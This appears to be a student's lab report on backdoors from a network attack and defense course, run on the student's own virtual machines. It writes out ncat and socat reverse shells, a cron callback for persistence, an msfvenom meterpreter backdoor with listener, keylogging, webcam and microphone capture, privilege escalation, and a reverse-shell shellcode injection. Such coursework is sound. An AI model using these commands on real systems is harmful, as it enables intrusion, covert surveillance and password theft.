2020-2021-2 网络对抗技术 20181321 Exp2 后门原理与实践

2020-2021-2 网络对抗技术 20181321 Exp2 后门原理与实践

一、基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    答:在一些不正规网站的下载东西(或者破解版软件),虽然破解版软件能够正常使用,但根据对齐粒度,攻击者可以把后门陈程序写作一些00的代码区。

  • (2)例举你知道的后门如何启动起来(win及linux)的方式?

    答:自启动项,,运行注入shellcode程序,通过crontab。

  • (3)Meterpreter有哪些给你映像深刻的功能?

    答:可以截屏,以及可以通过指令来截取你的敲击过程,从而套取密码。控制摄像头,进行录像。进行录音

  • (4)如何发现自己有系统有没有被安装后门?

    答案:可以杀毒软件,查看端口运行情况。

二、常用的后门工具

netcat

WIndows获得Linux Shell

  • 在Windows下使用ipconfig查看本机IP 172.30.7.239

  • 在Window输入命令ncat.exe -l -p 8181进行监听

  • 在在kali中反弹连接Windows,ncat 172.30.7.239 8181 -e /bin/sh,使用-e选项执行shell程序

  • Windows获得Kali的shell

Linux获得Windows Shell

  • 在kali下使用ifconfig查看本机IP 192.168.231.133

  • 在kali输入命令ncat.exe -l -p 8181进行监听

  • 在在Windows中反弹连接Windows,ncat.exe 192.168.231.133 8181 -e /bin/sh,使用-e选项执行shell程序

  • kali获得Windows的shell

使用nc,Windows和Kali互相传输数据

  • Windows下监听8181端口,ncat.exe -l 8181`

  • kali反弹连接到Windows的5318端口,nc 192.168.231.134 8181

  • 连接建立成功,双方可以相互传输数据

Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 典型的平台就包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
      在下面的实验三中我们就用到了Metaspolit的msfvenom指令
  • 参数说明
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

三、实验内容

  • (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

  • (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (0.5分)

  • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)

    (后面实验使用的为window 7的虚拟机)

实验一:使用netcat获取主机操作Shell,cron启动

  • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

  • 在Windows系统下,监听8181端口

  • 在kali中,运行crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择2(看个人选择)

  • 在最后一行添加26 * * * * /bin/netcat 192.168.231.144 -e /bin/sh,意思是在每个小时的第26分钟反向连接Windows主机的8181端口,设置成6的原因是我的时间是21点04分,所以为了出现效果,所以设置为6

实验二:使用socat获取主机操作Shell, 任务计划启动

  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。

  • 打开win7的>计算机管理,点击>任务计划程序,点击>创建任务

  • 填写任务名>新建一个触发器,开始任务选为工作站锁定时。(建议可以选其他的,用虚拟机启动锁定时,主机也会锁定)

  • 在编辑操作,选择启动程序,然后选取你socat.exe文件的地址,在添加参数的地方编辑为tcp-listen:8181 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口8181,同时把cmd.exestderr重定向到stdout上了。

  • 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行。

  • 在Kali环境下输入指令socat - tcp:192.168.231.134:8181,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的8181端口,此时可以发现已经成功获得了一个cmd shell。

实验三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=8181 -f exe > 20181321_backdoor.exe

​ 这里的IP地址为liunx的IP地址,所以已经生成后门程序。

  • 在Windows下执行ncat.exe -l 8181 > 20181321_backdoor.exe.

  • 在在Linux中执行nc 192.168.231.134 8181 < 20181321_backdoor.exe

  • 传输后门程序成功。(在window 7上看见后门程序)

  • 在Kali上使用msfconsole指令进入msf控制台

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • 输入set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

  • 输入set LHOST 192.168.231.133,这里用的是LinuxIP,和生成后门程序时指定的IP相同

  • 输入set LPORT 8181,同样要使用相同的端口

  • 设置完成后,执行监听,输入exploit

  • 在window 7 运行后门程序

  • 这个时候,kali与window 7连接,并获得shell

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 输入record_mic指令可以截获一段音频,可以用-d选项设置录制时间。

  • 输入webcam_snap指令可以使用摄像头进行拍照。(win 7虚拟机没有摄像头)

  • 输入keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录。

  • 输入screenshot指令可以进行截屏。

  • 输入getuid指令查看当前用户,再输入getsystem指令进行提权(如果要进行提权,需要给你的后门程序进行提取,我是把后门程序命名为installdoor.exe,运行程序是,要求点击确认才能运行,也可以通过别的方式给后面程序的权限提高)。

实验五可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 下载shellcode的代码

  • 然后参考实验一找到shell code的起始地址(注意要关闭地址随机化) 并加在这段shellcode前面,并用其生成in3文件。

    perl -e 'print "A" x 32;print"\x80\xd5\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > in3

  • 然后在另一个终端中打开msfconsole,并打开监听.

    use exploit/multi/handler
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1 
    set LPORT 4444          //这两个都是根据你的shellcode来的
    show options
    exploit
    
  • 在终端上运行(cat in3 ;cat) | ./pwn3并回车

  • 运行成功

四、实验总结与体会

  • 这次实验,刚刚开始是很蒙的,很多地方都不明白原理,在课上直接做的时候,出现了很多问题。然后课下看视频,把原理搞明白了之后,再做实验就顺利许多了,而且用MSF生成后门程序,然后控制win 7虚拟机,很有新鲜感,截图,录音等操作,都说明了后门程序的不安全,但是是真的很好玩。在实验中,碰到最不爽的情况就是“由于目标计算机积极拒绝,无法连接”这个地方真的很难受。这说明主机的保护还是很好的,我的操作只能在吧防火墙全关了,杀毒软件关了才能运行,只是掌握基础的,水平还是很菜。
posted @ 2021-03-28 17:19  QBLL  阅读(147)  评论(0编辑  收藏  举报